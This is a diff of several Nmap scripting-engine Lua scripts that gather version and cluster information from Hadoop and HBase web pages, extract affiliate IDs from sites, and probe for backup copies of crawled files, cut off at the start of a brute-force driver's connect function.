|
||||
local uri = "/dfshealth.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local capacity = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("Started:%s*<td>([^][<]+)") then
|
||||
local start = body:match("Started:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
|
||||
table.insert(result, ("Started: %s"):format(start))
|
||||
end
|
||||
if body:match("Version:%s*<td>([^][<]+)") then
|
||||
local version = body:match("Version:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*<td>([^][<]+)") then
|
||||
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Upgrades:%s*<td>([^][<]+)") then
|
||||
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
|
||||
table.insert(result, ("Upgrades: %s"):format(upgrades))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Browse") then
|
||||
local filesystem = body:match("([^][\"]+)\">Browse")
|
||||
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
|
||||
table.insert(result, ("Filesystem: %s"):format(filesystem))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Namenode") then
|
||||
local logs = body:match("([^][\"]+)\">Namenode")
|
||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||
table.insert(result, ("Logs: %s"):format(logs))
|
||||
end
|
||||
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
|
||||
table.insert(capacity,i)
|
||||
end
|
||||
if #capacity >= 6 then
|
||||
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
|
||||
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
|
||||
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
|
||||
table.insert(result,"Storage:")
|
||||
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
|
||||
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
|
||||
end
|
||||
local datanodes_live = get_datanodes(host,port, "LIVE")
|
||||
if next(datanodes_live) then
|
||||
table.insert(result, "Datanodes (Live): ")
|
||||
table.insert(result, datanodes_live)
|
||||
end
|
||||
local datanodes_dead = get_datanodes(host,port, "DEAD")
|
||||
if next(datanodes_dead) then
|
||||
table.insert(result, "Datanodes (Dead): ")
|
||||
table.insert(result, datanodes_dead)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-namenode"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
local result = {}
|
||||
local uri = "/dfshealth.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
local capacity = {}
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("Started:%s*<td>([^][<]+)") then
|
||||
local start = body:match("Started:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
|
||||
table.insert(result, ("Started: %s"):format(start))
|
||||
end
|
||||
if body:match("Version:%s*<td>([^][<]+)") then
|
||||
local version = body:match("Version:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("Compiled:%s*<td>([^][<]+)") then
|
||||
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Upgrades:%s*<td>([^][<]+)") then
|
||||
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
|
||||
table.insert(result, ("Upgrades: %s"):format(upgrades))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Browse") then
|
||||
local filesystem = body:match("([^][\"]+)\">Browse")
|
||||
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
|
||||
table.insert(result, ("Filesystem: %s"):format(filesystem))
|
||||
end
|
||||
if body:match("([^][\"]+)\">Namenode") then
|
||||
local logs = body:match("([^][\"]+)\">Namenode")
|
||||
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
|
||||
table.insert(result, ("Logs: %s"):format(logs))
|
||||
end
|
||||
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
|
||||
table.insert(capacity,i)
|
||||
end
|
||||
if #capacity >= 6 then
|
||||
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
|
||||
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
|
||||
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
|
||||
table.insert(result,"Storage:")
|
||||
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
|
||||
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
|
||||
end
|
||||
local datanodes_live = get_datanodes(host,port, "LIVE")
|
||||
if next(datanodes_live) then
|
||||
table.insert(result, "Datanodes (Live): ")
|
||||
table.insert(result, datanodes_live)
|
||||
end
|
||||
local datanodes_dead = get_datanodes(host,port, "DEAD")
|
||||
if next(datanodes_dead) then
|
||||
table.insert(result, "Datanodes (Dead): ")
|
||||
table.insert(result, datanodes_dead)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-namenode"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -50,90 +50,90 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
|
||||
local region_servers = {}
|
||||
local uri = "/master.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("HBase%s+Version</td><td>([^][<]+)") then
|
||||
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Hbase Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
|
||||
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Directory</td><td>([^][<]+)") then
|
||||
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
|
||||
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Hadoop Version: %s"):format(version))
|
||||
end
|
||||
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
|
||||
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("average</td><td>([^][<]+)") then
|
||||
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
|
||||
table.insert(result, ("Average Load: %s"):format(average))
|
||||
end
|
||||
if body:match("Quorum</td><td>([^][<]+)") then
|
||||
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
|
||||
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if quorum:match("([%w%.]+)") then
|
||||
local newtarget = quorum:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
for line in string.gmatch(body, "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("maxHeap") then
|
||||
local region_server= line:match("\">([^][<]+)</a>")
|
||||
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
|
||||
table.insert(region_servers, region_server)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if region_server:match("([%w%.]+)") then
|
||||
local newtarget = region_server:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if next(region_servers) then
|
||||
table.insert(result,"Region Servers:")
|
||||
table.insert(result,region_servers)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hbase-master"
|
||||
port.version.product = "Apache Hadoop Hbase"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
local result = {}
|
||||
local region_servers = {}
|
||||
local uri = "/master.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
if body:match("HBase%s+Version</td><td>([^][<]+)") then
|
||||
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Hbase Version: %s"):format(version))
|
||||
port.version.version = version
|
||||
end
|
||||
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
|
||||
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Directory</td><td>([^][<]+)") then
|
||||
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
|
||||
end
|
||||
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
|
||||
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
|
||||
table.insert(result, ("Hadoop Version: %s"):format(version))
|
||||
end
|
||||
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
|
||||
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
|
||||
end
|
||||
if body:match("average</td><td>([^][<]+)") then
|
||||
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
|
||||
table.insert(result, ("Average Load: %s"):format(average))
|
||||
end
|
||||
if body:match("Quorum</td><td>([^][<]+)") then
|
||||
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
|
||||
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if quorum:match("([%w%.]+)") then
|
||||
local newtarget = quorum:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
for line in string.gmatch(body, "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("maxHeap") then
|
||||
local region_server= line:match("\">([^][<]+)</a>")
|
||||
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
|
||||
table.insert(region_servers, region_server)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if region_server:match("([%w%.]+)") then
|
||||
local newtarget = region_server:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if next(region_servers) then
|
||||
table.insert(result,"Region Servers:")
|
||||
table.insert(result,region_servers)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hbase-master"
|
||||
port.version.product = "Apache Hadoop Hbase"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -51,9 +51,9 @@ categories = {"safe", "discovery"}
|
||||
|
||||
-- these are the regular expressions for affiliate IDs
|
||||
local AFFILIATE_PATTERNS = {
|
||||
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
|
||||
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
|
||||
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
|
||||
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
|
||||
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
|
||||
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
|
||||
}
|
||||
|
||||
portrule = shortport.http
|
||||
@@ -65,76 +65,76 @@ postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end
|
||||
--@param port nmap port table
|
||||
--@param affid affiliate id table
|
||||
local add_key_to_registry = function(host, port, path, affid)
|
||||
local site = host.targetname or host.ip
|
||||
site = site .. ":" .. port.number .. path
|
||||
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
|
||||
local site = host.targetname or host.ip
|
||||
site = site .. ":" .. port.number .. path
|
||||
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
|
||||
|
||||
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
|
||||
table.insert(nmap.registry["http-affiliate-id"][site], affid)
|
||||
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
|
||||
table.insert(nmap.registry["http-affiliate-id"][site], affid)
|
||||
end
|
||||
|
||||
portaction = function(host, port)
|
||||
local result = {}
|
||||
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
|
||||
local body = http.get(host, port, url_path).body
|
||||
local result = {}
|
||||
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
|
||||
local body = http.get(host, port, url_path).body
|
||||
|
||||
if ( not(body) ) then
|
||||
return
|
||||
end
|
||||
if ( not(body) ) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Here goes affiliate matching
|
||||
for name, re in pairs(AFFILIATE_PATTERNS) do
|
||||
local regex = pcre.new(re, 0, "C")
|
||||
local limit, limit2, matches = regex:match(body)
|
||||
if limit ~= nil then
|
||||
local affiliateid = matches["id"]
|
||||
result[#result + 1] = name .. ": " .. affiliateid
|
||||
add_key_to_registry(host, port, url_path, result[#result])
|
||||
end
|
||||
end
|
||||
-- Here goes affiliate matching
|
||||
for name, re in pairs(AFFILIATE_PATTERNS) do
|
||||
local regex = pcre.new(re, 0, "C")
|
||||
local limit, limit2, matches = regex:match(body)
|
||||
if limit ~= nil then
|
||||
local affiliateid = matches["id"]
|
||||
result[#result + 1] = name .. ": " .. affiliateid
|
||||
add_key_to_registry(host, port, url_path, result[#result])
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
--- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
|
||||
local function postaction()
|
||||
local siteids = {}
|
||||
local output = {}
|
||||
local siteids = {}
|
||||
local output = {}
|
||||
|
||||
-- create a reverse mapping affiliate ids -> site(s)
|
||||
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
|
||||
for _, id in ipairs(ids) do
|
||||
if not siteids[id] then
|
||||
siteids[id] = {}
|
||||
end
|
||||
-- discard duplicate IPs
|
||||
if not stdnse.contains(siteids[id], site) then
|
||||
table.insert(siteids[id], site)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- create a reverse mapping affiliate ids -> site(s)
|
||||
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
|
||||
for _, id in ipairs(ids) do
|
||||
if not siteids[id] then
|
||||
siteids[id] = {}
|
||||
end
|
||||
-- discard duplicate IPs
|
||||
if not stdnse.contains(siteids[id], site) then
|
||||
table.insert(siteids[id], site)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- look for sites using the same affiliate id
|
||||
for id, sites in pairs(siteids) do
|
||||
if #siteids[id] > 1 then
|
||||
local str = id .. ' used by:'
|
||||
for _, site in ipairs(siteids[id]) do
|
||||
str = str .. '\n ' .. site
|
||||
end
|
||||
table.insert(output, str)
|
||||
end
|
||||
end
|
||||
-- look for sites using the same affiliate id
|
||||
for id, sites in pairs(siteids) do
|
||||
if #siteids[id] > 1 then
|
||||
local str = id .. ' used by:'
|
||||
for _, site in ipairs(siteids[id]) do
|
||||
str = str .. '\n ' .. site
|
||||
end
|
||||
table.insert(output, str)
|
||||
end
|
||||
end
|
||||
|
||||
if #output > 0 then
|
||||
return 'Possible related sites\n' .. table.concat(output, '\n')
|
||||
end
|
||||
if #output > 0 then
|
||||
return 'Possible related sites\n' .. table.concat(output, '\n')
|
||||
end
|
||||
end
|
||||
|
||||
local ActionsTable = {
|
||||
-- portrule: get affiliate ids
|
||||
portrule = portaction,
|
||||
-- postrule: look for related sites (same affiliate ids)
|
||||
postrule = postaction
|
||||
-- portrule: get affiliate ids
|
||||
portrule = portaction,
|
||||
-- postrule: look for related sites (same affiliate ids)
|
||||
postrule = postaction
|
||||
}
|
||||
|
||||
-- execute the action function corresponding to the current rule
|
||||
|
||||
@@ -47,107 +47,107 @@ categories = {"discovery", "safe"}
|
||||
portrule = shortport.http
|
||||
|
||||
local function backupNames(filename)
|
||||
local function createBackupNames()
|
||||
local dir = filename:match("^(.*/)") or ""
|
||||
local basename, suffix = filename:match("([^/]*)%.(.*)$")
|
||||
local function createBackupNames()
|
||||
local dir = filename:match("^(.*/)") or ""
|
||||
local basename, suffix = filename:match("([^/]*)%.(.*)$")
|
||||
|
||||
local backup_names = {}
|
||||
if basename then
|
||||
table.insert(backup_names, "{basename}.bak") -- generic bak file
|
||||
end
|
||||
if basename and suffix then
|
||||
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
|
||||
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
|
||||
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
|
||||
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
|
||||
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
|
||||
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
|
||||
local backup_names = {}
|
||||
if basename then
|
||||
table.insert(backup_names, "{basename}.bak") -- generic bak file
|
||||
end
|
||||
if basename and suffix then
|
||||
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
|
||||
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
|
||||
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
|
||||
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
|
||||
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
|
||||
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
local replace_patterns = {
|
||||
["{filename}"] = filename,
|
||||
["{basename}"] = basename,
|
||||
["{suffix}"] = suffix,
|
||||
}
|
||||
local replace_patterns = {
|
||||
["{filename}"] = filename,
|
||||
["{basename}"] = basename,
|
||||
["{suffix}"] = suffix,
|
||||
}
|
||||
|
||||
for _, name in ipairs(backup_names) do
|
||||
local backup_name = name
|
||||
for p, v in pairs(replace_patterns) do
|
||||
backup_name = backup_name:gsub(p,v)
|
||||
end
|
||||
coroutine.yield(dir .. backup_name)
|
||||
end
|
||||
end
|
||||
return coroutine.wrap(createBackupNames)
|
||||
for _, name in ipairs(backup_names) do
|
||||
local backup_name = name
|
||||
for p, v in pairs(replace_patterns) do
|
||||
backup_name = backup_name:gsub(p,v)
|
||||
end
|
||||
coroutine.yield(dir .. backup_name)
|
||||
end
|
||||
end
|
||||
return coroutine.wrap(createBackupNames)
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
crawler:set_timeout(10000)
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local res, res404, known404 = http.identify_404(host, port)
|
||||
if not res then
|
||||
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
local res, res404, known404 = http.identify_404(host, port)
|
||||
if not res then
|
||||
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
|
||||
local backups = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
local backups = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- parse the returned url
|
||||
local parsed = url.parse(tostring(r.url))
|
||||
-- parse the returned url
|
||||
local parsed = url.parse(tostring(r.url))
|
||||
|
||||
-- handle case where only hostname was provided
|
||||
if ( parsed.path == nil ) then
|
||||
parsed.path = '/'
|
||||
end
|
||||
-- handle case where only hostname was provided
|
||||
if ( parsed.path == nil ) then
|
||||
parsed.path = '/'
|
||||
end
|
||||
|
||||
-- only pursue links that have something looking as a file
|
||||
if ( parsed.path:match(".*%.*.$") ) then
|
||||
-- iterate over possible backup files
|
||||
for link in backupNames(parsed.path) do
|
||||
local host, port = parsed.host, parsed.port
|
||||
-- only pursue links that have something looking as a file
|
||||
if ( parsed.path:match(".*%.*.$") ) then
|
||||
-- iterate over possible backup files
|
||||
for link in backupNames(parsed.path) do
|
||||
local host, port = parsed.host, parsed.port
|
||||
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
|
||||
-- the url.escape doesn't work here as it encodes / to %2F
|
||||
-- which results in 400 bad request, so we simple do a space
|
||||
-- replacement instead.
|
||||
local escaped_link = link:gsub(" ", "%%20")
|
||||
-- the url.escape doesn't work here as it encodes / to %2F
|
||||
-- which results in 400 bad request, so we simple do a space
|
||||
-- replacement instead.
|
||||
local escaped_link = link:gsub(" ", "%%20")
|
||||
|
||||
-- attempt a HEAD-request against each of the backup files
|
||||
local response = http.head(host, port, escaped_link)
|
||||
if http.page_exists(response, res404, known404, escaped_link, true) then
|
||||
if ( not(parsed.port) ) then
|
||||
table.insert(backups,
|
||||
("%s://%s%s"):format(parsed.scheme, host, link))
|
||||
else
|
||||
table.insert(backups,
|
||||
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
-- attempt a HEAD-request against each of the backup files
|
||||
local response = http.head(host, port, escaped_link)
|
||||
if http.page_exists(response, res404, known404, escaped_link, true) then
|
||||
if ( not(parsed.port) ) then
|
||||
table.insert(backups,
|
||||
("%s://%s%s"):format(parsed.scheme, host, link))
|
||||
else
|
||||
table.insert(backups,
|
||||
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( #backups > 0 ) then
|
||||
backups.name = crawler:getLimitations()
|
||||
return stdnse.format_output(true, backups)
|
||||
end
|
||||
if ( #backups > 0 ) then
|
||||
backups.name = crawler:getLimitations()
|
||||
return stdnse.format_output(true, backups)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -61,19 +61,19 @@ Driver = {
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
-- This will cause problems, as ther is no way for us to "reserve"
|
||||
-- a socket. We may end up here early with a set of credentials
|
||||
-- which won't be guessed until the end, due to socket exhaustion.
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
-- This will cause problems, as ther is no way for us to "reserve"
|
